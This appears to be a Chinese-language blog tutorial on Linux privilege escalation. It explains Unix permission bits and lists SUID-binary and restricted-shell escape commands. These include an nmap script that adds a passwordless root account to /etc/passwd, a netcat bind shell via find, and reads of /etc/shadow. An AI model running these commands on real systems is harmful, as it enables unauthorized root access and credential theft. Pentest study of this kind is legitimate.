Linux提权

SUID提权

SUID GUID Stickybit

suid 4 , sgid 2 , Stickybit(粘滞位) 1

Umask: root的umask为0022 ,第一位是上一排提到的, 所以创建文件时就是777-022=755, 文件就是 755-111=644 除去x(执行权)

Stickybit(粘滞位)

1
2
修饰文件夹  文件只有自己和root用户可以修改
如/tmp目录 所以用户都可创建修改自己文件, 但无法修改其他用户文件(无论是否同一个组)

SGID

1
2
3
用于目录,在该目录下建立的所有文件和目录,属组都继承该目录的属组,且该组内其他成员修改目录内的文件时,其属主和属组都不改变!!  
chmod g+s 目录
当修改文件两个用户是other(other和组内成员)时会改变所属主(所属组不变)

suid有啥用?

普通用户连/etc/shadow的查看权都没有, 但是要修改密码怎么办, 就是利用passwd的suid, 让passwd以root身份执行 赋予s权限需要本身具有x权限

chmod 4755 前面的4就是SUID

SUID只对可执行文件有效

调用者对该文件有执行权

文件执行过程中 拥有文件所有者权限, 权限仅在执行过程中有效

例子 :

1
2
3
4
5
6
赋予find文件s权限
sudo chmod u+s /usr/bin/find 赋予此权限需要root
find passwd -exec cat /etc/shadow \; 普通用户也可查看/etc/shadow文件了

sudo chmod u-s /usr/bin/find 去除s权限
find passwd -exec cat /etc/shadow \;提示权限不够了

找到SUID文件

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

-perm用法

1
2
3
find -perm mode(0777)  严格匹配, 不足前面自动添0
find -perm -mode(xxxx) 将数字转换为二进制, 1则必须匹配,0则随意(满足要求即可)
find -perm +mode(xxxx) 与-差别就是只需匹配一个权限位的1即可(满足其中一个要求即可)

一般可以利用的文件

1
2
3
4
5
6
7
8
9
10
Nmap
Vim
find
Bash
More
Less
Nano
cp
git
wget

namp

1
2
3
4
5
在namp 2.02至5.21 拥有交互shell
nmap -v
namp --interactive 开启交互模式
或者通过metaaploit开启
exploit/unix/local/setuid_nmap

其他版本

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

利用nes脚本执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
创建一个nes脚本
a.nes
os.execute("/bin/bash")
执行
namp --script=a.nes
但是可能不会成功
方法二
a.nes

local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bash\n")
file:close()

nmap --script=a.nes
su root2 切换到root用户了

vim

1
2
3
4
5
6
7
vim.tiny /etc/shadow  可以读取所有文件

开启shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

find

1
2
3
4
find passwd -exec '/bin/sh' \;
或者
find pentestlab -exec netcat -lvp 端口 -e /bin/sh \;
netcat ip 端口

bash

1
bash -p

less/more

1
2
less /etc/passwd(/etc/shadow)
进入后输入 !/bin/sh

git

1
2
git help config 或者git -p help
输入!/bin/sh或者!/bin/bash

wget

利用wget下载添加有自定义root账户的passwd文件到/etc/passwd

其他

https://gtfobins.github.io/#+suid

受限shell突破

https://www.freebuf.com/articles/system/188989.html

/

1
2
3
4
直接利用
/bin/sh
/bin/bash
/bin/dash

cp

1
2
3
将shell文件移到用户目录然后执行
cp /bin/bash ubash
cp /bin/sh ush

ftp gdb man git vim/vi more/less

1
2
ftp
ftp > !/bin/bash
1
2
gdb
gdb > !/bin/sh
1
2
man ls
!/bin/sh
1
2
git help status
!/bin/sh
1
2
vim/vi
:!/bin/sh
1
2
more/less
!'sh'

pinfo

1
2
3
pinfo ls
!
执行命令

set shell

查看环境变量

1
export -p

如果为-rx则我们无法写入

1
2
3
4
5
在vim/vi中设置shell
:set shell=/bin/sh
:shell
或者在现有shell修改环境变量
export PATH=$PATH:/bin

编程语言提权

python

1
python -c 'import os;os.system("/bin/sh")'

php:

1
php -a then exec("sh -i");

perl:

1
perl -e 'exec "/bin/sh";'

lua:

1
os.execute('/bin/sh').

ruby:

1
exec "/bin/sh"

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!